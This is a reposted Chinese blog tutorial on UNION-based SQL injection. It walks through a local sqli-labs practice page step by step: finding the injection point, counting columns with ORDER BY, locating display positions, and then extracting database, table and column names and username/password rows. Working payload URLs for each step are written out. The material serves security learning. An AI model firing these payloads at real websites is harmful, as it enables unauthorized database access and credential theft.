前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入之联合查询注入

SQL注入之联合查询注入

作者头像
全栈程序员站长
发布2022-08-31 10:35:49
1.1K0
发布2022-08-31 10:35:49
举报

大家好,又见面了,我是你们的朋友全栈君。

联合查询注入利用的前提

前提条件:页面上有显示位

什么是显示位?

在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

联合注入的过程

1、判断注入点

2、判断是整型还是字符型

3、判断查询列数 4、判断显示位 5、获取所有数据库名 6、获取数据库所有表名 7、获取字段名

8、获取字段中的数据

一、判断注入点

我们在可能存在SQL注入变量的后边添加以下payload:

and 1=1 / and 1=2 回显页面不同(整形判断)

单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)

\ (转义符)

-1/+1 回显下一个或上一个页面(整型判断)

注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b

二、判断是整型还是字符型

输入and 1=1和and 1=2后发现页面没有变化,判断不是整型注入

SQL注入之联合查询注入
SQL注入之联合查询注入
SQL注入之联合查询注入
SQL注入之联合查询注入

输入’ and 1=1 %23和 ‘ and 1=2%23后发现页面变化,判断为字符注入

为什么输入 1 and 1=1 和 1 and 1=2 能判断是否是整型注入尼?

SQL注入之联合查询注入
SQL注入之联合查询注入

在数据库中 1=1 和1=2 后面随便输入字符串(相当于1=1和1=2后面的查询语句),发现select 1=”1dasd”时返回1正确,1=”2dasd”时返回0错误,即select在查询时忽略后面的字符串,只让1和后面第一个数字对比,如果相等就是正确,不相等返回错误。

三、判断查询列数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数

输入 order by 4%23 发现页面错误,说明没有4列

SQL注入之联合查询注入
SQL注入之联合查询注入

输入3列时,页面正常,说明有3列

SQL注入之联合查询注入
SQL注入之联合查询注入

四、判断显示位

UNION的作用是将两个select查询结果合并,如下图所示:

SQL注入之联合查询注入
SQL注入之联合查询注入

程序在展示数据的时候通常只会取结果集的第一行数据,看一下源码,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。

只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了

SQL注入之联合查询注入
SQL注入之联合查询注入

可以看到将uid改为-1后第二行打印在页面上。

使union前面的语句报错,执行后面的,爆出显示位,2,3

SQL注入之联合查询注入
SQL注入之联合查询注入

五、获取所有数据库名

group_concat()一次性显示:

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

显示当前数据库: databas()

SQL注入之联合查询注入
SQL注入之联合查询注入

六、获取表名

http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3%23

SQL注入之联合查询注入
SQL注入之联合查询注入

七、获列名

http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’),3%23

SQL注入之联合查询注入
SQL注入之联合查询注入

八、获取列中的信息

http://127.0.0.1/sql/Less-1/?id=-1′ union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23

用limit控制,一行行得到数据

SQL注入之联合查询注入
SQL注入之联合查询注入
SQL注入之联合查询注入
SQL注入之联合查询注入

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/143903.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年5月2,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档